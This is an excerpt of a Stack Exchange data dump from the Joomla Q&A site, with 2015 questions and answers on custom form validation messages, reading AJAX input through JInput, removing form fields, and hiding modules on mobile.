  <row Id="9512" PostTypeId="1" AcceptedAnswerId="9520" CreationDate="2015-04-17T15:38:39.787" Score="4" ViewCount="1083" Body="&lt;p&gt;I am developing Custom Component for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did well in validating field by adding custom rule. But if entered value does not pass through my validation, it gives error as &quot;Invalid Field: My Field Name&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to replace this with my own message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use &quot;JText::_('LANGUAGE_STRING'). But I'm not sure where do I need to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have custom rule called &quot;validemails&quot; which returns false in client side as well as server side validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Client side Validation is: (components/com_helpdesk/models/forms/create.js)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function () {&#xA;    document.formvalidator.setHandler('validemail', function (value) {&#xA;        var emails = [value];&#xA;        if (value.indexOf(';') !== -1) {&#xA;            emails = value.split(';');&#xA;        }&#xA;        else if(value.indexOf(',') !== -1) {&#xA;            emails = value.split(',');&#xA;        }&#xA;        regex = /^[a-zA-Z0-9.!#$%&amp;amp;’*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;&#xA;        var result = false;&#xA;        emails.each(function (value) {&#xA;            result = regex.test(jQuery.trim(value));&#xA;            if (result === false) {&#xA;                return false;&#xA;            }&#xA;        });&#xA;        return result;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Server Side Validation is: (components/com_helpdesk/models/rules/validemail.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;JFormHelper::loadRuleClass('email');&#xA;&#xA;class JFormRuleValidemail extends JFormRuleEmail {&#xA;&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null) {&#xA;        $emails = array($value);&#xA;        if (strpos($value, ';') !== false) {&#xA;            $emails = explode(';', $value);&#xA;        }&#xA;        else if (strpos($value, ',') !== false) {&#xA;            $emails = explode(',', $value);&#xA;        }&#xA;&#xA;        foreach ($emails as $email) {&#xA;            if (!parent::test($element, trim($email))) {&#xA;                return false;&#xA;                continue;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that I'm developing Front-end view of Component not back-end.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-18T05:06:01.057" LastActivityDate="2015-06-22T08:07:01.693" Title="Building Component - Replace &quot;Invalid Field: My Field&quot; with Custom Message" Tags="|joomla-3.x|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9513" PostTypeId="1" CreationDate="2015-04-17T16:01:45.563" Score="0" ViewCount="994" Body="&lt;p&gt;I am trying to remove a fieldset from a form.&#xA;I have not found a function that does this, so I do it through an array to remove them individually.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$infofield = $form-&amp;gt;getFieldset('company');&#xA;&#xA;foreach ($infofield as $key =&amp;gt; $field) {&#xA;       $name = preg_split(&quot;/[\[\]]/&quot;, $field-&amp;gt;name);&#xA;       $form-&amp;gt;removeField($name[1]);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this method but I do not like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I recover from the &lt;code&gt;$infofield&lt;/code&gt; only the name of the field without the &lt;code&gt;jform&lt;/code&gt; or alternatively there is a method to romeve the fieldset ?&lt;/p&gt;&#xA;" OwnerUserId="3884" LastEditorUserId="3884" LastEditDate="2015-04-17T17:18:24.673" LastActivityDate="2019-09-27T16:03:10.480" Title="Remove form fieldset" Tags="|jform|joomla-3.4|fields|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9515" PostTypeId="1" AcceptedAnswerId="9517" CreationDate="2015-04-17T20:32:45.403" Score="2" ViewCount="3136" Body="&lt;p&gt;I found some portions of codes but I don't know how to complete it. I need to pass some variables via ajax to controller in order to store them in Joomla session. So I have the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;id&quot; value=&quot;2&quot; /&amp;gt;&#xA;&#xA;$('.add').click(function() {&#xA; $.ajax({&#xA;  method: &quot;POST&quot;,&#xA;  url: &quot;index.php?option=com_mycom&amp;amp;task=add&amp;amp;format=raw&quot;,&#xA;  data: {id:1},&#xA;  dataType: 'json'&#xA; }).done(function() {&#xA;   alert(&quot;Data Saved&quot;);&#xA;  });&#xA; return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the code in controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function add() {&#xA;    $session = JFactory::getSession();&#xA;    $value = ???&#xA;    $cart = array();&#xA;    $cart['item'] = array('id' =&amp;gt; $value);&#xA;    $session-&amp;gt;set('cart', $cart);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see I don't know how to get data in the controller (and I'm not sure that I send it properly in $.ajax). And do I really need json in my case?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-18T09:51:09.690" LastActivityDate="2015-04-18T13:17:10.807" Title="How to pass variables via $.ajax to a controller" Tags="|joomla-3.x|development|joomla-api|ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostTypeId="1" CreationDate="2015-04-17T20:44:18.057" Score="0" ViewCount="144" Body="&lt;p&gt;i am using the T3 Framework for my template and did everything as described in the forum. Everything is working in the backend but i am not able to retrieve the values in the frontend. I am getting a couple of Errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Notice: Undefined property: CustompropertiesViewSearch::$item in /www/htdocs/w00e40a7/pc-helfer/ego-new/templates/t3_bs3_blank/html/com_customproperties/search/default_item.php on line 17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice: Trying to get property of non-object in /www/htdocs/w00e40a7/pc-helfer/ego-new/templates/t3_bs3_blank/html/com_customproperties/search/default_item.php on line 17*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like i have some unknown/undefined variables, but i don't know how to define them. Can anybody help with this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is the code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Custom Properties for Joomla! 3.x&#xA; * @package Custom Properties&#xA; * @subpackage Component&#xA; * @version 3.0.0&#xA; * @revision $Revision: 1.1 $&#xA; * @author Andrea Forghieri&#xA; * @copyright (C) 2013 Andrea Forghieri, Solidsystem - http://www.solidsystem.it&#xA; * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL version 2&#xA; */&#xA;defined('_JEXEC') or die('Restricted access');&#xA;$attribs = new JRegistry($this-&amp;gt;item-&amp;gt;attribs);&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;dl&amp;gt;&#xA;    &amp;lt;dt class=&quot;cp-title result-title&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_($this-&amp;gt;row-&amp;gt;href);?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;title);?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php if ($attribs-&amp;gt;get('untertitel')) : ?&amp;gt;&#xA;    &amp;lt;span class=&quot;item-state state-&amp;lt;?php echo $attribs-&amp;gt;get('untertitel') ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $attribs-&amp;gt;get('untertitel') ?&amp;gt;&#xA;&#xA;    &amp;lt;/span&amp;gt;&#xA;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;    &amp;lt;/dt&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;row-&amp;gt;category_title  &amp;amp;&amp;amp; $this-&amp;gt;show_category):?&amp;gt;&#xA;    &amp;lt;dd class=&quot;cp-category result-category&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;small&quot;&amp;gt;(&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;category_title);?&amp;gt;)&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/dd&amp;gt;&#xA;    &amp;lt;?php endif;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if($this-&amp;gt;view != CP_VIEW_TITLE_ONLY):?&amp;gt;&#xA;    &amp;lt;dd class=&quot;cp-text result-text&quot;&amp;gt;    &#xA;    &amp;lt;?php if($this-&amp;gt;view == CP_VIEW_HTML_INTRO  || $this-&amp;gt;view == CP_VIEW_IMAGE_AND_TEXT):?&amp;gt;&#xA;        &amp;lt;?php if($this-&amp;gt;image_thumbnail):?&amp;gt;&#xA;            &amp;lt;?php if($image = CPImageHelper::getPreviewImage($this-&amp;gt;ce, $this-&amp;gt;row, $this-&amp;gt;params)):?&amp;gt;&#xA;                &amp;lt;?php if($image-&amp;gt;url):?&amp;gt;&#xA;                &amp;lt;div class=&quot;cp-image&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;row-&amp;gt;href;?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;title);?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php echo $image-&amp;gt;url;?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $image-&amp;gt;height;?&amp;gt;&quot; width=&quot;&amp;lt;?php echo $image-&amp;gt;width?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;title);?&amp;gt;&quot;/&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php elseif($this-&amp;gt;debug_images):?&amp;gt;&#xA;                &amp;lt;div class=&quot;cp-image alert alert-error&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $image-&amp;gt;getError();?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif;?&amp;gt;&#xA;            &amp;lt;?php endif;?&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;?php endif;?&amp;gt;&#xA;&#xA;    &amp;lt;?php if($this-&amp;gt;view == CP_VIEW_PLAIN_TEXT || $this-&amp;gt;view == CP_VIEW_IMAGE_AND_TEXT):?&amp;gt;&#xA;    &amp;lt;?php echo $text = CPTextHelper::getPlainText($this-&amp;gt;row, $this-&amp;gt;searchword, $this-&amp;gt;text_length, $this-&amp;gt;searchphrase);?&amp;gt;&#xA;        &amp;lt;?php &#xA;        //dirty hack: if text end with '&amp;amp;nbsp...' it has been truncated&#xA;        // therefore I can append the readmore&#xA;        if($this-&amp;gt;show_readmore &amp;amp;&amp;amp; (substr($text, -9) === '&amp;amp;nbsp;...')):?&amp;gt;&#xA;        &amp;lt;p class=&quot;readmore&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;row-&amp;gt;href?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('append_title_to_readmore')):?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;readmore_text).': ' . $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;title);?&amp;gt;&#xA;                &amp;lt;?php else:?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;readmore_text);?&amp;gt;&#xA;                &amp;lt;?php endif;?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;?php elseif($this-&amp;gt;view == CP_VIEW_HTML_INTRO):?&amp;gt;&#xA;        &amp;lt;?php echo $text = CPTextHelper::getCleanHTMLIntro($this-&amp;gt;row, $this-&amp;gt;searchword, $this-&amp;gt;searchphrase, $this-&amp;gt;params);?&amp;gt;&#xA;        &amp;lt;?php if($this-&amp;gt;show_readmore &amp;amp;&amp;amp; $this-&amp;gt;row-&amp;gt;fulltext != ''):?&amp;gt;&#xA;        &amp;lt;p class=&quot;readmore&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;row-&amp;gt;href?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-chevron-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('append_title_to_readmore')):?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;readmore_text).': ' . $this-&amp;gt;escape($this-&amp;gt;row-&amp;gt;title);?&amp;gt;&#xA;                &amp;lt;?php else:?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;readmore_text);?&amp;gt;&#xA;                &amp;lt;?php endif;?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/p&amp;gt;    &#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;/dd&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="3650" LastEditDate="2016-03-07T22:33:36.060" LastActivityDate="2016-03-07T22:33:36.060" Title="T3 Framework extrafields error retrieving Values" Tags="|joomla-3.x|php|t3-framework|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9517" PostTypeId="2" ParentId="9515" CreationDate="2015-04-17T23:28:50.613" Score="10" Body="&lt;p&gt;You should use Joomla's JInput class &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function add() {&#xA;&#xA;  // Get Joomla's input object:&#xA;  $input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;  // Get the variable&#xA;  $value = $input-&amp;gt;get('id');&#xA;&#xA;  $session = JFactory::getSession();&#xA;  $cart = array();&#xA;  $cart['item'] = array('id' =&amp;gt; $value);&#xA;  $session-&amp;gt;set('cart', $cart);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastEditorUserId="4042" LastEditDate="2015-04-18T13:17:10.807" LastActivityDate="2015-04-18T13:17:10.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostTypeId="2" ParentId="9512" CreationDate="2015-04-17T23:33:05.930" Score="1" Body="&lt;p&gt;I don't know for the JS side of things, but for the php you would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;enqueueMessage(JText::_('LANGUAGE_STRING'), 'warning');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-17T23:33:05.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostTypeId="2" ParentId="9515" CreationDate="2015-04-18T03:52:32.243" Score="-1" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $_POST['id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's like the easy approach, might not be best practice any more though. I would recommend this for testing purposes only, it delivers fast results but is not really safe. For that I recommend looking into the JInput class as mentioned by the other answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the JSON question, I just found this &lt;a href=&quot;https://stackoverflow.com/questions/383692/what-is-json-and-why-would-i-use-it&quot;&gt;post&lt;/a&gt; which has some answers explaining it quite well I guess.&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-18T12:53:05.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9520" PostTypeId="2" ParentId="9512" CreationDate="2015-04-18T04:57:18.310" Score="4" Body="&lt;p&gt;Well fortunately, I got my server side validation working by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;JFormHelper::loadRuleClass('email');&#xA;&#xA;class JFormRuleValidemail extends JFormRuleEmail {&#xA;&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null) {&#xA;        $emails = array($value);&#xA;        if (strpos($value, ';') !== false) {&#xA;            $emails = explode(';', $value);&#xA;        }&#xA;        else if (strpos($value, ',') !== false) {&#xA;            $emails = explode(',', $value);&#xA;        }&#xA;&#xA;        foreach ($emails as $email) {&#xA;            if (!parent::test($element, trim($email))) {&#xA;                ***$element-&amp;gt;addAttribute('message', JText::_('COM_HELPDESK_ERROR_EMAIL').' '.$value);***&#xA;                return false;&#xA;                continue;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the solution. May be it will be useful for other googlers. Below is a code snippet for client side validation. Put below code in your custom JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.validate').click(function (e) {&#xA;&#xA;    var msg = {&quot;error&quot;: []};&#xA;    if (jQuery('#jform_priority').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_PRIORITY_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_description').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_DESCRIPTION_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_subject').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_SUBJECT_ERROR'));&#xA;    }      &#xA;    if (jQuery('#jform_bcc').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_BCC_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_cc').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_CC_ERROR'));&#xA;    }&#xA;    Joomla.renderMessages(msg);&#xA;    e.preventDefault();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="-1" LastEditDate="2015-06-22T08:07:01.693" LastActivityDate="2015-06-22T08:07:01.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9521" PostTypeId="1" AcceptedAnswerId="9522" CreationDate="2015-04-18T06:06:33.973" Score="0" ViewCount="2697" Body="&lt;p&gt;I am designing website with Joomla.&lt;br&gt;&#xA;Now I want to hide a module on mobile view only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="4087" LastEditorUserId="126" LastEditDate="2016-01-21T23:03:35.743" LastActivityDate="2017-07-18T07:32:32.807" Title="How to hide module in mobile view only in Joomla?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostTypeId="2" ParentId="9521" CreationDate="2015-04-18T06:11:03.287" Score="3" Body="&lt;p&gt;If you are using Bootstrap Template, and there is an option for Module Class Suffix in Module, then you can add class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;space&amp;gt;hidden-phone for Bootstrap 2&#xA;&amp;lt;space&amp;gt;hidden-xs for Bootstrap 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="142" LastActivityDate="2015-04-18T06:11:03.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9527" PostTypeId="2" ParentId="9515" CreationDate="2015-04-18T08:46:11.363" Score="1" Body="&lt;p&gt;Yes you want to use the input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;    &#xA;$value = $input-&amp;gt;get('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="168" LastEditDate="2015-04-18T10:16:30.273" LastActivityDate="2015-04-18T10:16:30.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9530" PostTypeId="2" ParentId="9521" CreationDate="2015-04-18T15:47:15.170" Score="2" Body="&lt;p&gt;Most frameworks have built-in responsive classes. These are classes that can be added to any module (using &lt;a href=&quot;https://docs.joomla.org/Module_Class_Suffix&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module Class Suffix&lt;/a&gt;) in order to control on what screen sizes the module is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For T3 framework, use the class &lt;code&gt;.hidden-phone&lt;/code&gt; to hide a module for screen sized below 768px.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the classes and the corresponding screen sizes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jl1ZQ.jpg&quot; alt=&quot;T3 Framework mobile classes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more about available &lt;a href=&quot;http://docs.joomlabamboo.com/joomla-templates/responsive-documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;responsive classes here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="120" LastEditDate="2017-07-18T07:32:32.807" LastActivityDate="2017-07-18T07:32:32.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9532" PostTypeId="2" ParentId="8972" CreationDate="2015-04-19T05:19:34.200" Score="2" Body="&lt;p&gt;Let's say I've custom validator &quot;validemail&quot; added in my form XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            type=&quot;text&quot;&#xA;            label=&quot;COM_HELPDESK_CC_LABEL&quot;&#xA;            description=&quot;COM_HELPDESK_EMAIL_DESCRIPTION&quot;&#xA;            name=&quot;cc&quot;&#xA;            class=&quot;form-control validate-validemail&quot;&#xA;            validate = &quot;validemail&quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My server Side validation Code will reside in: components/my_component/models/rules/validemail.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;JFormHelper::loadRuleClass('email');&#xA;&#xA;class JFormRuleValidemail extends JFormRuleEmail {&#xA;&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null) {&#xA;        $emails = array($value);&#xA;        if (strpos($value, ';') !== false) {&#xA;            $emails = explode(';', $value);&#xA;        }&#xA;        else if (strpos($value, ',') !== false) {&#xA;            $emails = explode(',', $value);&#xA;        }&#xA;&#xA;        foreach ($emails as $email) {&#xA;            if (!parent::test($element, trim($email))) {&#xA;                $element-&amp;gt;addAttribute('message', JText::_('YOUR_ERROR_MESSAGE'));&#xA;                return false;&#xA;                continue;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the Client side Validation add following script to your component (back-end/front-end)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.validate').click(function (e) {&#xA;    var msg = {&quot;error&quot;: []};&#xA;    if (jQuery('#jform_bcc').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_BCC_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_cc').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_CC_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_priority').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_PRIORITY_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_description').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_DESCRIPTION_ERROR'));&#xA;    }&#xA;    if (jQuery('#jform_subject').hasClass('invalid')) {&#xA;        msg.error.push(Joomla.JText._('COM_HELPDESK_SUBJECT_ERROR'));&#xA;    }&#xA;    Joomla.renderMessages(msg);&#xA;    e.preventDefault();&#xA;});&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this language strings in your .ini file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_HELPDESK_SUBJECT_ERROR = &quot;Please Enter Subject&quot;&#xA;COM_HELPDESK_DESCRIPTION_ERROR = &quot;Please Enter Description&quot;&#xA;COM_HELPDESK_PRIORITY_ERROR = &quot;Please Select Priority&quot;&#xA;COM_HELPDESK_CC_ERROR = &quot;Please Enter proper Emails in CC section&quot;&#xA;COM_HELPDESK_BCC_ERROR = &quot;Please Enter proper Emails in BCC section&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do not forget to register this Messages in your view.html.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText::script('COM_HELPDESK_SUBJECT_ERROR');&#xA;JText::script('COM_HELPDESK_DESCRIPTION_ERROR');&#xA;JText::script('COM_HELPDESK_PRIORITY_ERROR');&#xA;JText::script('COM_HELPDESK_CC_ERROR');&#xA;JText::script('COM_HELPDESK_BCC_ERROR');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-19T06:44:14.753" LastActivityDate="2015-04-19T06:44:14.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9533" PostTypeId="1" CreationDate="2015-04-19T06:42:45.577" Score="1" ViewCount="113" Body="&lt;p&gt;I would like to add an image instead of greeting text &quot;Hello&quot; under that code -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mootoolsButton = $params-&amp;gt;get('mootoolsbutton','');&#xA;if(empty($mootoolsButton)){&#xA;    $mootoolsButton = Jtext::_('Hello');&#xA;    // $mootoolsButton = echo '&amp;lt;img src=&quot;images/main/nl_03.png&quot; /&amp;gt;';&#xA;}else{&#xA;    if(!empty($mootoolsButton) &amp;amp;&amp;amp; preg_match('#^[A-Z_]*$#',$mootoolsButton)){&#xA;        $mootoolsButton = JText::_($mootoolsButton);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4074" LastEditorUserId="4074" LastEditDate="2015-04-22T04:05:51.997" LastActivityDate="2015-04-22T04:05:51.997" Title="How to use image instead of JText" Tags="|joomla-3.x|extensions|mootools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9534" PostTypeId="2" ParentId="9533" CreationDate="2015-04-19T06:50:11.727" Score="2" Body="&lt;p&gt;You do not need to use JText in case of rendering images. Just put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;mootoolsButton = 'images/main/nl_03.png';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JText is used to translate string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working on custom component then add above code to view.html.php file.&#xA;And then access it to &quot;tmpl/default.php&quot; with below code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;mootoolsButton; ?&amp;gt;&quot; alt=&quot;Button&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-19T07:11:06.003" LastActivityDate="2015-04-19T07:11:06.003" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9537" PostTypeId="1" AcceptedAnswerId="9538" CreationDate="2015-04-19T22:36:42.393" Score="2" ViewCount="1792" Body="&lt;p&gt;As we all know in Joomla Article page, a read more functionality is always possible &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot;&amp;gt;&lt;/code&gt; to show the article in introtext/fulltext format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in Category description page that read more functionality option isn't available. So if I want to add that similar kind of Read More functionality in the Category page section, what should I do? I have tried but couldn't find any solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin available for that? Or can I do this in another way?&lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="1629" LastEditDate="2015-04-19T23:00:01.627" 